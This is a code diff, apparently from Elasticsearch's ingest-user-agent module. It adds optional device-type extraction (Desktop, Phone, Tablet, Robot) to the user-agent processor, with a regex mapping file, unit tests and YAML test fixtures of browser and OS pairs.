@@ public IngestDocument execute(IngestDocument ingestDocument) { throw new IllegalArgumentException("field [" + field + "] is null, cannot parse user-agent."); } - Details uaClient = parser.parse(userAgent); + Details uaClient = parser.parse(userAgent, extractDeviceType); Map uaDetails = new HashMap<>(); @@ -125,8 +131,18 @@ public IngestDocument execute(IngestDocument ingestDocument) { Map deviceDetails = new HashMap<>(1); if (uaClient.device != null && uaClient.device.name != null) { deviceDetails.put("name", uaClient.device.name); + if (extractDeviceType) { + deviceDetails.put("type", uaClient.deviceType); + } } else { deviceDetails.put("name", "Other"); + if (extractDeviceType) { + if (uaClient.deviceType != null) { + deviceDetails.put("type", uaClient.deviceType); + } else { + deviceDetails.put("type", "Other"); + } + } } uaDetails.put("device", deviceDetails); break; @@ -173,6 +189,7 @@ public UserAgentProcessor create(Map factories, Strin String targetField = readStringProperty(TYPE, processorTag, config, "target_field", "user_agent"); String regexFilename = readStringProperty(TYPE, processorTag, config, "regex_file", IngestUserAgentPlugin.DEFAULT_PARSER_NAME); List propertyNames = readOptionalList(TYPE, processorTag, config, "properties"); + boolean extractDeviceType = readBooleanProperty(TYPE, processorTag, config, "extract_device_type", false); boolean ignoreMissing = readBooleanProperty(TYPE, processorTag, config, "ignore_missing", false); Object ecsValue = config.remove("ecs"); if (ecsValue != null) { @@ -200,7 +217,8 @@ public UserAgentProcessor create(Map factories, Strin properties = EnumSet.allOf(Property.class); } - return new UserAgentProcessor(processorTag, description, field, targetField, parser, properties, ignoreMissing); + return new + UserAgentProcessor(processorTag, description, field, targetField, parser, properties, extractDeviceType, ignoreMissing); } } diff --git a/modules/ingest-user-agent/src/main/resources/device_type_regexes.yml b/modules/ingest-user-agent/src/main/resources/device_type_regexes.yml new file mode 100644 index 0000000000000..88a860a9d9d83 --- /dev/null +++ b/modules/ingest-user-agent/src/main/resources/device_type_regexes.yml @@ -0,0 +1,67 @@ +# Apache License, Version 2.0 +# =========================== +# +# Copyright 2009 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +## Custom parser being added to support device types + +os_parsers: + # Robot + - regex: 'Bot|bot|spider|Spider|Crawler|crawler|AppEngine-Google' + replacement: 'Robot' + # Desktop OS, Most Common + - regex: '^(Windows$|Windows NT$|Mac OS X|Linux$|Chrome OS|Fedora$|Ubuntu$)' + replacement: 'Desktop' + # Phone OS + - regex: '^(Android$|iOS|Windows Phone|Firefox OS|BlackBerry OS|KaiOS|Sailfish$|Maemo)' + replacement: 'Phone' + # Desktop OS, Not Common + - regex: '^(Windows XP|Windows 7|Windows 10|FreeBSD|OpenBSD|Arch Linux|Solaris|NetBSD|SUSE|SunOS|BeOS\/Haiku)' + replacement: 'Desktop' + - regex: 'Tablet|BlackBerry Tablet OS|iPad|FireOS|Crosswalk' + replacement: 'Tablet' + +browser_parsers: + # Robot + - regex: 'Bot|bot|spider|Spider|Crawler|crawler|AppEngine-Google' + replacement: 'Robot' + # Desktop Browsers + - regex: '^(Chrome$|Chromium$|Edge$|Firefox$|IE$|Maxthon$|Opera$|Safari$|SeaMonkey$|Vivaldi$|Yandex Browser$)' + replacement: 'Desktop' + # Phone Browsers, Most Common + - regex: '^(Chrome Mobile$|Chrome Mobile iOS|Firefox Mobile|Firefox iOS|Edge Mobile|Android|Facebook|Instagram|IE Mobile)' + replacement: 'Phone' + # Phone Browsers, Not Common + - regex: '^(BlackBerry WebKit|OktaMobile|Sailfish Browser|Amazon Silk|Pinterest|Flipboard)' + replacement: 'Phone' + - regex: 'Tablet|BlackBerry Tablet OS|iPad|FireOS|Crosswalk' + replacement: 'Tablet' + +device_parsers: + - regex: 'Tablet|BlackBerry Tablet OS|iPad|FireOS|Crosswalk|Kindle' + replacement: 'Tablet' + # Samsung tablets + - regex: 'SM-T\d+|SM-P\d+|GT-P\d+' + replacement: 'Tablet' + # other tablets + - regex: 'Asus Nexus \d+|Lenovo TB' + replacement: 'Tablet' + +agent_string_parsers: + - regex: 'Synthetic|Scanner|Crawler|Site24x7|PagePeeker|SpeedCurve|RuxitSynthetic|Google Web Preview|Synthetic|SiteChecker|Parser' + replacement: 'Robot' + - regex: 'Tablet' + replacement: 'Tablet' + diff --git a/modules/ingest-user-agent/src/test/java/org/elasticsearch/ingest/useragent/DeviceTypeParserTests.java b/modules/ingest-user-agent/src/test/java/org/elasticsearch/ingest/useragent/DeviceTypeParserTests.java new file mode 100644 index 0000000000000..dcde87fbb258e --- /dev/null +++ b/modules/ingest-user-agent/src/test/java/org/elasticsearch/ingest/useragent/DeviceTypeParserTests.java @@ -0,0 +1,217 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.useragent; +import org.elasticsearch.common.xcontent.LoggingDeprecationHandler; +import org.elasticsearch.common.xcontent.NamedXContentRegistry; +import org.elasticsearch.common.xcontent.XContentFactory; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.common.xcontent.XContentType; +import org.elasticsearch.test.ESTestCase; + +import org.junit.BeforeClass; + +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + + +import static org.elasticsearch.ingest.useragent.UserAgentParser.VersionedName; + + +import static org.elasticsearch.ingest.useragent.UserAgentParser.readParserConfigurations; +import static org.hamcrest.Matchers.is; + +public class DeviceTypeParserTests extends ESTestCase { + + private static DeviceTypeParser deviceTypeParser; + + private ArrayList> readTestDevices(InputStream regexStream, String keyName) throws IOException { + XContentParser yamlParser = XContentFactory.xContent(XContentType.YAML).createParser(NamedXContentRegistry.EMPTY, + LoggingDeprecationHandler.INSTANCE, regexStream); + + XContentParser.Token token = yamlParser.nextToken(); + + ArrayList> testDevices = new ArrayList<>(); + + if (token == XContentParser.Token.START_OBJECT) { + token = yamlParser.nextToken(); + + for (; token != null; token = yamlParser.nextToken()) { + String currentName = yamlParser.currentName(); + if (token == XContentParser.Token.FIELD_NAME && currentName.equals(keyName)) { + List> parserConfigurations = readParserConfigurations(yamlParser); + + for (Map map : parserConfigurations) { + HashMap testDevice = new HashMap<>(); + + testDevice.put("type", map.get("type")); + testDevice.put("os", map.get("os")); + testDevice.put("browser", map.get("browser")); + testDevice.put("device", map.get("device")); + testDevices.add(testDevice); + + } + } + } + } + + return testDevices; + } + + private static VersionedName getVersionName(String name){ + return new VersionedName(name, null, null, null, null); + } + + @BeforeClass + public static void setupDeviceParser() throws IOException { + InputStream deviceTypeRegexStream = UserAgentProcessor.class.getResourceAsStream("/device_type_regexes.yml"); + + assertNotNull(deviceTypeRegexStream); + assertNotNull(deviceTypeRegexStream); + + deviceTypeParser = new DeviceTypeParser(); + deviceTypeParser.init(deviceTypeRegexStream); + } + + @SuppressWarnings("unchecked") + public void testMacDesktop() throws Exception { + VersionedName os = getVersionName("Mac OS X"); + + VersionedName userAgent = getVersionName("Chrome"); + + String deviceType = deviceTypeParser.findDeviceType(userAgent, os, null); + + assertThat(deviceType, is("Desktop")); + } + + @SuppressWarnings("unchecked") + public void testAndroidMobile() throws Exception { + + VersionedName os = getVersionName("iOS"); + + VersionedName userAgent = getVersionName("Safari"); + + String deviceType = deviceTypeParser.findDeviceType(userAgent, os, null); + + assertThat(deviceType, is("Phone")); + } + + @SuppressWarnings("unchecked") + public void testIPadTablet() throws Exception { + + VersionedName os = getVersionName("iOS"); + + VersionedName userAgent = getVersionName("Safari"); + + VersionedName device = getVersionName("iPad"); + + String deviceType = deviceTypeParser.findDeviceType(userAgent, os, device); + + assertThat(deviceType, is("Tablet")); + } + + @SuppressWarnings("unchecked") + public void testWindowDesktop() throws Exception { + + VersionedName os = getVersionName("Mac OS X"); + + VersionedName userAgent = getVersionName("Chrome"); + + String deviceType = deviceTypeParser.findDeviceType(userAgent, os, null); + + assertThat(deviceType, is("Desktop")); + } + + @SuppressWarnings("unchecked") + public void testRobotAgentString() throws Exception { + + String deviceType = deviceTypeParser.findDeviceType( + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:63.0.247) Gecko/20100101 Firefox/63.0.247 Site24x7", null, null, null); + + assertThat(deviceType, is("Robot")); + } + + @SuppressWarnings("unchecked") + public void testRobotDevices() throws Exception { + + InputStream testRobotDevices = IngestUserAgentPlugin.class.getResourceAsStream("/test-robot-devices.yml"); + + ArrayList> testDevices = readTestDevices(testRobotDevices, "robot_devices"); + + for (HashMap testDevice : testDevices) { + VersionedName os = getVersionName(testDevice.get("os")); + + VersionedName userAgent = getVersionName(testDevice.get("browser")); + + String deviceType = deviceTypeParser.findDeviceType(userAgent, os, null); + + assertThat(deviceType, is("Robot")); + } + } + + @SuppressWarnings("unchecked") + public void testDesktopDevices() throws Exception { + + InputStream testDesktopDevices = IngestUserAgentPlugin.class.getResourceAsStream("/test-desktop-devices.yml"); + + ArrayList> testDevices = readTestDevices(testDesktopDevices, "desktop_devices"); + + for (HashMap testDevice : testDevices) { + VersionedName os = getVersionName(testDevice.get("os")); + + VersionedName userAgent = getVersionName(testDevice.get("browser")); + + String deviceType = deviceTypeParser.findDeviceType(userAgent, os, null); + + assertThat(deviceType, is("Desktop")); + } + } + + @SuppressWarnings("unchecked") + public void testMobileDevices() throws Exception { + + InputStream testMobileDevices = IngestUserAgentPlugin.class.getResourceAsStream("/test-mobile-devices.yml"); + + ArrayList> testDevices = readTestDevices(testMobileDevices, "mobile_devices"); + + for (HashMap testDevice : testDevices) { + VersionedName os = getVersionName(testDevice.get("os")); + + VersionedName userAgent = getVersionName(testDevice.get("browser")); + + String deviceType = deviceTypeParser.findDeviceType(userAgent, os, null); + + assertThat(deviceType, is("Phone")); + } + } + + @SuppressWarnings("unchecked") + public void testTabletDevices() throws Exception { + + InputStream testTabletDevices = IngestUserAgentPlugin.class.getResourceAsStream("/test-tablet-devices.yml"); + + ArrayList> testDevices = readTestDevices(testTabletDevices, "tablet_devices"); + + for (HashMap testDevice : testDevices) { + VersionedName os = getVersionName(testDevice.get("os")); + + VersionedName userAgent = getVersionName(testDevice.get("browser")); + + VersionedName device = getVersionName(testDevice.get("device")); + + String deviceType = deviceTypeParser.findDeviceType(userAgent, os, device); + + assertThat(deviceType, is("Tablet")); + } + } + +} diff --git a/modules/ingest-user-agent/src/test/java/org/elasticsearch/ingest/useragent/UserAgentProcessorFactoryTests.java b/modules/ingest-user-agent/src/test/java/org/elasticsearch/ingest/useragent/UserAgentProcessorFactoryTests.java index 404776cd38ed7..9b51c108e777d 100644 --- a/modules/ingest-user-agent/src/test/java/org/elasticsearch/ingest/useragent/UserAgentProcessorFactoryTests.java +++ b/modules/ingest-user-agent/src/test/java/org/elasticsearch/ingest/useragent/UserAgentProcessorFactoryTests.java @@ -78,6 +78,7 @@ public void testBuildDefaults() throws Exception { assertThat(processor.getUaParser().getOsPatterns().size(), greaterThan(0)); assertThat(processor.getUaParser().getDevicePatterns().size(), greaterThan(0)); assertThat(processor.getProperties(), equalTo(EnumSet.allOf(UserAgentProcessor.Property.class))); + assertFalse(processor.isExtractDeviceType()); assertFalse(processor.isIgnoreMissing()); } @@ -127,6 +128,19 @@ public void testBuildRegexFile() throws Exception { assertThat(processor.getUaParser().getDevicePatterns().size(), equalTo(0)); } + public void testBuildExtractDeviceType() throws Exception { + UserAgentProcessor.Factory factory = new UserAgentProcessor.Factory(userAgentParsers); + boolean extractDeviceType = randomBoolean(); + + Map config = new HashMap<>(); + config.put("field", "_field"); + config.put("extract_device_type", extractDeviceType); + + UserAgentProcessor processor = factory.create(null, null, null, config); + assertThat(processor.getField(), equalTo("_field")); + assertThat(processor.isExtractDeviceType(), equalTo(extractDeviceType)); + } + public void testBuildNonExistingRegexFile() throws Exception { UserAgentProcessor.Factory factory = new UserAgentProcessor.Factory(userAgentParsers); diff --git a/modules/ingest-user-agent/src/test/java/org/elasticsearch/ingest/useragent/UserAgentProcessorTests.java b/modules/ingest-user-agent/src/test/java/org/elasticsearch/ingest/useragent/UserAgentProcessorTests.java index a236eec45acfc..f487e4ae8fc3c 100644 --- a/modules/ingest-user-agent/src/test/java/org/elasticsearch/ingest/useragent/UserAgentProcessorTests.java +++ b/modules/ingest-user-agent/src/test/java/org/elasticsearch/ingest/useragent/UserAgentProcessorTests.java @@ -32,17 +32,20 @@ public class UserAgentProcessorTests extends ESTestCase { @BeforeClass public static void setupProcessor() throws IOException { InputStream regexStream = UserAgentProcessor.class.getResourceAsStream("/regexes.yml"); + InputStream deviceTypeRegexStream = UserAgentProcessor.class.getResourceAsStream("/device_type_regexes.yml"); + assertNotNull(regexStream); + assertNotNull(deviceTypeRegexStream); - UserAgentParser parser = new UserAgentParser(randomAlphaOfLength(10), regexStream, new UserAgentCache(1000)); + UserAgentParser parser = new UserAgentParser(randomAlphaOfLength(10), regexStream, deviceTypeRegexStream, new UserAgentCache(1000)); processor = new UserAgentProcessor(randomAlphaOfLength(10), null, "source_field", "target_field", parser, - EnumSet.allOf(UserAgentProcessor.Property.class), false); + EnumSet.allOf(UserAgentProcessor.Property.class), true, false); } public void testNullValueWithIgnoreMissing() throws Exception { UserAgentProcessor processor = new UserAgentProcessor(randomAlphaOfLength(10), null, "source_field", "target_field", null, - EnumSet.allOf(UserAgentProcessor.Property.class), true); + EnumSet.allOf(UserAgentProcessor.Property.class), false, true); IngestDocument originalIngestDocument = RandomDocumentPicks.randomIngestDocument(random(), Collections.singletonMap("source_field", null)); IngestDocument ingestDocument = new IngestDocument(originalIngestDocument); @@ -52,7 +55,7 @@ public void testNullValueWithIgnoreMissing() throws Exception { public void testNonExistentWithIgnoreMissing() throws Exception { UserAgentProcessor processor = new UserAgentProcessor(randomAlphaOfLength(10), null, "source_field", "target_field", null, - EnumSet.allOf(UserAgentProcessor.Property.class), true); + EnumSet.allOf(UserAgentProcessor.Property.class), false, true); IngestDocument originalIngestDocument = RandomDocumentPicks.randomIngestDocument(random(), Collections.emptyMap()); IngestDocument ingestDocument = new IngestDocument(originalIngestDocument); processor.execute(ingestDocument); @@ -61,7 +64,7 @@ public void testNonExistentWithIgnoreMissing() throws Exception { public void testNullWithoutIgnoreMissing() throws Exception { UserAgentProcessor processor = new UserAgentProcessor(randomAlphaOfLength(10), null, "source_field", "target_field", null, - EnumSet.allOf(UserAgentProcessor.Property.class), false); + EnumSet.allOf(UserAgentProcessor.Property.class), false, false); IngestDocument originalIngestDocument = RandomDocumentPicks.randomIngestDocument(random(), Collections.singletonMap("source_field", null)); IngestDocument ingestDocument = new IngestDocument(originalIngestDocument); @@ -71,7 +74,7 @@ public void testNullWithoutIgnoreMissing() throws Exception { public void testNonExistentWithoutIgnoreMissing() throws Exception { UserAgentProcessor processor = new UserAgentProcessor(randomAlphaOfLength(10), null, "source_field", "target_field", null, - EnumSet.allOf(UserAgentProcessor.Property.class), false); + EnumSet.allOf(UserAgentProcessor.Property.class), false, false); IngestDocument originalIngestDocument = RandomDocumentPicks.randomIngestDocument(random(), Collections.emptyMap()); IngestDocument ingestDocument = new IngestDocument(originalIngestDocument); Exception exception = expectThrows(Exception.class, () -> processor.execute(ingestDocument)); @@ -101,6 +104,34 @@ public void testCommonBrowser() throws Exception { assertThat(target.get("os"), is(os)); Map device = new HashMap<>(); device.put("name", "Mac"); + device.put("type", "Desktop"); + assertThat(target.get("device"), is(device)); + } + + @SuppressWarnings("unchecked") + public void testWindowsOS() throws Exception { + Map document = new HashMap<>(); + document.put("source_field", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36"); + IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); + + processor.execute(ingestDocument); + Map data = ingestDocument.getSourceAndMetadata(); + + assertThat(data, hasKey("target_field")); + Map target = (Map) data.get("target_field"); + + assertThat(target.get("name"), is("Chrome")); + assertThat(target.get("version"), is("87.0.4280.141")); + + Map os = new HashMap<>(); + os.put("name", "Windows"); + os.put("version", "10"); + os.put("full", "Windows 10"); + assertThat(target.get("os"), is(os)); + Map device = new HashMap<>(); + device.put("name", "Other"); + device.put("type", "Desktop"); assertThat(target.get("device"), is(device)); } @@ -129,6 +160,7 @@ public void testUncommonDevice() throws Exception { Map device = new HashMap<>(); device.put("name", "Motorola Xoom"); + device.put("type", "Phone"); assertThat(target.get("device"), is(device)); } @@ -152,6 +184,37 @@ public void testSpider() throws Exception { Map device = new HashMap<>(); device.put("name", "Spider"); + device.put("type", "Robot"); + assertThat(target.get("device"), is(device)); + } + + @SuppressWarnings("unchecked") + public void testTablet() throws Exception { + Map document = new HashMap<>(); + document.put("source_field", + "Mozilla/5.0 (iPad; CPU OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) " + + "Version/12.1 Mobile/15E148 Safari/604.1"); + IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); + + processor.execute(ingestDocument); + Map data = ingestDocument.getSourceAndMetadata(); + + assertThat(data, hasKey("target_field")); + Map target = (Map) data.get("target_field"); + + assertThat(target.get("name"), is("Mobile Safari")); + + assertThat(target.get("version"), is("12.1")); + + Map os = new HashMap<>(); + os.put("name", "iOS"); + os.put("version", "12.2"); + os.put("full", "iOS 12.2"); + assertThat(target.get("os"), is(os)); + + Map device = new HashMap<>(); + device.put("name", "iPad"); + device.put("type", "Tablet"); assertThat(target.get("device"), is(device)); } @@ -174,6 +237,37 @@ public void testUnknown() throws Exception { assertNull(target.get("patch")); assertNull(target.get("build")); + assertNull(target.get("os")); + Map device = new HashMap<>(); + device.put("name", "Other"); + device.put("type", "Other"); + assertThat(target.get("device"), is(device)); + } + + @SuppressWarnings("unchecked") + public void testExtractDeviceTypeDisabled() { + Map document = new HashMap<>(); + document.put("source_field", + "Something I made up v42.0.1"); + IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); + + InputStream regexStream = UserAgentProcessor.class.getResourceAsStream("/regexes.yml"); + InputStream deviceTypeRegexStream = UserAgentProcessor.class.getResourceAsStream("/device_type_regexes.yml"); + UserAgentParser parser = new UserAgentParser(randomAlphaOfLength(10), regexStream, deviceTypeRegexStream, new UserAgentCache(1000)); + UserAgentProcessor processor = new UserAgentProcessor(randomAlphaOfLength(10), null, "source_field", "target_field", parser, + EnumSet.allOf(UserAgentProcessor.Property.class), false, false); + processor.execute(ingestDocument); + Map data = ingestDocument.getSourceAndMetadata(); + + assertThat(data, hasKey("target_field")); + Map target = (Map) data.get("target_field"); + + assertThat(target.get("name"), is("Other")); + assertNull(target.get("major")); + assertNull(target.get("minor")); + assertNull(target.get("patch")); + assertNull(target.get("build")); + assertNull(target.get("os")); Map device = new HashMap<>(); device.put("name", "Other"); diff --git a/modules/ingest-user-agent/src/test/resources/test-desktop-devices.yml b/modules/ingest-user-agent/src/test/resources/test-desktop-devices.yml new file mode 100644 index 0000000000000..a23d44b984fff --- /dev/null +++ b/modules/ingest-user-agent/src/test/resources/test-desktop-devices.yml @@ -0,0 +1,177 @@ +# Apache License, Version 2.0 +# =========================== +# +# Copyright 2009 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +desktop_devices: + - type: Desktop + os: Windows + browser: Chrome + - type: Desktop + os: Mac OS X + browser: Chrome + - type: Desktop + os: Linux + browser: Cypress + - type: Desktop + os: Ubuntu + browser: Firefox + - type: Desktop + os: Chrome OS + browser: Chrome + - type: Desktop + os: Fedora + browser: Firefox + - type: Desktop + os: FreeBSD + browser: Chrome + - type: Desktop + os: OpenBSD + browser: Firefox + - type: Desktop + os: Arch Linux + browser: Firefox + - type: Desktop + os: Solaris + browser: Firefox + - type: Desktop + os: NetBSD + browser: Firefox + - type: Desktop + os: SUSE + browser: Epiphany + - type: Desktop + browser: Chrome + os: Mac OS X + - type: Desktop + browser: Firefox + os: Windows NT + - type: Desktop + browser: Edge + os: Windows NT + - type: Desktop + browser: HeadlessChrome + os: Linux + - type: Desktop + browser: Safari + os: Mac OS X + - type: Desktop + browser: Electron + os: Linux + - type: Desktop + browser: Opera + os: Linux + - type: Desktop + browser: Samsung Internet + os: Linux + - type: Desktop + browser: Chromium + os: Ubuntu + - type: Desktop + browser: Yandex Browser + os: Windows NT + - type: Desktop + browser: Whale + os: Windows NT + - type: Desktop + browser: Sogou Explorer + os: Windows NT + - type: Desktop + browser: QQ Browser + os: Windows NT + - type: Desktop + browser: IE + os: Windows NT + - type: Desktop + browser: Yeti + os: Windows NT + - type: Desktop + browser: Apple Mail + os: Mac OS X + - type: Desktop + browser: Coc Coc + os: Windows NT + - type: Desktop + browser: Maxthon + os: Windows NT + - type: Desktop + browser: Waterfox + os: Linux + - type: Desktop + browser: Iron + os: Mac OS X + - type: Desktop + browser: UC Browser + os: Windows NT + - type: Desktop + browser: Pale Moon + os: Linux + - type: Desktop + browser: WordPress + os: Linux + - type: Desktop + browser: Vivaldi + os: Windows NT + - type: Desktop + browser: Dragon + os: Windows NT + - type: Desktop + browser: SeaMonkey + os: Windows NT + - type: Desktop + browser: Sleipnir + os: Windows NT + - type: Desktop + browser: Thunderbird + os: Linux + - type: Desktop + browser: Epiphany + os: Linux + - type: Desktop + browser: Datanyze + os: Linux + - type: Desktop + browser: Basilisk + os: Windows NT + - type: Desktop + browser: Swiftfox + os: Linux + - type: Desktop + browser: Netscape + os: SunOS + - type: Desktop + browser: Puffin + os: Linux + - type: Desktop + browser: Seznam prohlížeč + os: Windows NT + - type: Desktop + browser: iCab + os: Mac OS X + - type: Desktop + browser: Opera Neon + os: Windows NT + - type: Desktop + browser: Mail.ru Chromium Browser + os: Windows NT + - type: Desktop + browser: Otter + os: BeOS/Haiku + - type: Desktop + browser: Iceweasel + os: Linux + - type: Desktop + browser: Chrome Mobile WebView + os: Linux diff --git a/modules/ingest-user-agent/src/test/resources/test-mobile-devices.yml b/modules/ingest-user-agent/src/test/resources/test-mobile-devices.yml new file mode 100644 index 0000000000000..340251ba06b16 --- /dev/null +++ b/modules/ingest-user-agent/src/test/resources/test-mobile-devices.yml @@ -0,0 +1,124 @@ +# Apache License, Version 2.0 +# =========================== +# +# Copyright 2009 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +mobile_devices: + - type: Phone + os: Android + browser: Chrome + - type: Phone + os: iOS + browser: Firefox +# - type: Phone +# os: Windows Phone +# browser: Edge + - type: Phone + os: KaiOS + browser: Firefox + - type: Phone + os: Sailfish + browser: SailfishBrowser + - type: Phone + os: Maemo + browser: Fennec + - type: Phone + os: BlackBerry OS + browser: Mobile Safari + - type: Phone + browser: Chrome Mobile + os: Android + - type: Phone + browser: Mobile Safari + os: iOS + - type: Phone + browser: Chrome Mobile WebView + os: Android + - type: Phone + browser: Firefox Mobile + os: Android + - type: Phone + browser: Chrome Mobile iOS + os: iOS + - type: Phone + browser: Facebook + os: Android + - type: Phone + browser: Mobile Safari UI/WKWebView + os: iOS + - type: Phone + browser: Firefox iOS + os: iOS + - type: Phone + browser: Opera Mobile + os: Android + - type: Phone + browser: MiuiBrowser + os: Android + - type: Phone + browser: Edge Mobile + os: Android + - type: Phone + browser: Android + os: Android + - type: Phone + browser: LINE + os: iOS + - type: Phone + browser: QQ Browser Mobile + os: Android + - type: Phone + browser: Flipboard + os: Android + - type: Phone + browser: Instagram + os: iOS + - type: Phone + browser: Pinterest + os: iOS + - type: Phone + browser: OktaMobile + os: iOS + - type: Phone + browser: Twitter + os: Android + - type: Phone + browser: Mint Browser + os: Android + - type: Phone + browser: Snapchat + os: iOS + - type: Phone + browser: IE Mobile + os: Windows Phone + - type: Phone + browser: Sailfish Browser + os: Linux + - type: Phone + browser: MobileIron + os: iOS + - type: Phone + browser: charlotte + os: Android + - type: Phone + browser: BlackBerry WebKit + os: BlackBerry + - type: Phone + browser: YandexSearch + os: Android + - type: Phone + browser: Salesforce + os: iOS + diff --git a/modules/ingest-user-agent/src/test/resources/test-other-devices.yml b/modules/ingest-user-agent/src/test/resources/test-other-devices.yml new file mode 100644 index 0000000000000..98595d961552b --- /dev/null +++ b/modules/ingest-user-agent/src/test/resources/test-other-devices.yml @@ -0,0 +1,22 @@ +# Apache License, Version 2.0 +# =========================== +# +# Copyright 2009 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +robot_devices: + - type: Desktop + os: Tizen + browser: AppleWebKit + diff --git a/modules/ingest-user-agent/src/test/resources/test-robot-devices.yml b/modules/ingest-user-agent/src/test/resources/test-robot-devices.yml new file mode 100644 index 0000000000000..e3f2d0cedc10f --- /dev/null +++ b/modules/ingest-user-agent/src/test/resources/test-robot-devices.yml @@ -0,0 +1,123 @@ +# Apache License, Version 2.0 +# =========================== +# +# Copyright 2009 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +robot_devices: + - type: Robot + os: CentOS + browser: AdsBot-Naver + - type: Robot + browser: iSec_Bot + os: Cloud + - type: Robot + browser: moatbot + os: Cloud + - type: Robot + browser: Baiduspider-render + os: Cloud + - type: Robot + browser: AhrefsBot + os: Cloud + - type: Robot + browser: Applebot + os: Cloud + - type: Robot + browser: Seekport Crawler + os: Cloud + - type: Robot + browser: Linespider + os: Cloud + - type: Robot + browser: pingbot + os: Cloud + - type: Robot + browser: YisouSpider + os: Cloud + - type: Robot + browser: HubSpot Crawler + os: Cloud + - type: Robot + browser: AdsBot + os: Cloud + - type: Robot + browser: net/bot + os: Cloud + - type: Robot + browser: Investment Crawler + os: Cloud + - type: Robot + browser: Bytespider + os: Cloud + - type: Robot + browser: IBM-Crawler + os: Cloud + - type: Robot + browser: BublupBot + os: Cloud + - type: Robot + browser: AppEngine-Google + os: Google Cloud + - type: Robot + browser: YandexBot + os: Cloud + - type: Robot + browser: Slackbot-LinkExpanding + os: Cloud + - type: Robot + browser: WebPageTest.org bot + os: Cloud + - type: Robot + browser: Baiduspider-image + os: Cloud + - type: Robot + browser: Pinterestbot + os: Cloud + - type: Robot + browser: YandexAccessibilityBot + os: Cloud + - type: Robot + browser: FacebookBot + os: Cloud + - type: Robot + browser: BLEXBot + os: Cloud + - type: Robot + browser: SuperBot + os: Cloud + - type: Robot + browser: Googlebot-News + os: Cloud + - type: Robot + browser: SMTBot + os: Cloud + - type: Robot + browser: GooglePlusBot + os: Cloud + - type: Robot + browser: niocBot + os: Cloud + - type: Robot + browser: SpiderWeb + os: Cloud + - type: Robot + browser: facebot + os: Cloud + - type: Robot + browser: MJ12bot + os: Cloud + - type: Robot + browser: ethical-bugbot + os: Linux diff --git a/modules/ingest-user-agent/src/test/resources/test-tablet-devices.yml b/modules/ingest-user-agent/src/test/resources/test-tablet-devices.yml new file mode 100644 index 0000000000000..0f67c361d7c0b --- /dev/null +++ b/modules/ingest-user-agent/src/test/resources/test-tablet-devices.yml @@ -0,0 +1,39 @@ +# Apache License, Version 2.0 +# =========================== +# +# Copyright 2009 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +tablet_devices: + - type: Tablet + os: BlackBerry Tablet OS + browser: Edg + - type: Tablet + browser: Amazon Silk + os: FireOS + - type: Tablet + browser: Crosswalk + os: Android + - type: Tablet + browser: Chrome Mobile WebView + os: Android + device: Samsung SM-T590 + - type: Tablet + browser: Amazon Silk + os: Linux + device: Kindle + - type: Tablet + browser: Chrome + os: Android + device: Samsung SM-T307U diff --git a/modules/ingest-user-agent/src/yamlRestTest/resources/rest-api-spec/test/ingest-useragent/20_useragent_processor.yml b/modules/ingest-user-agent/src/yamlRestTest/resources/rest-api-spec/test/ingest-useragent/20_useragent_processor.yml index 4daef7da0ce0a..8d938eb957222 100644 --- 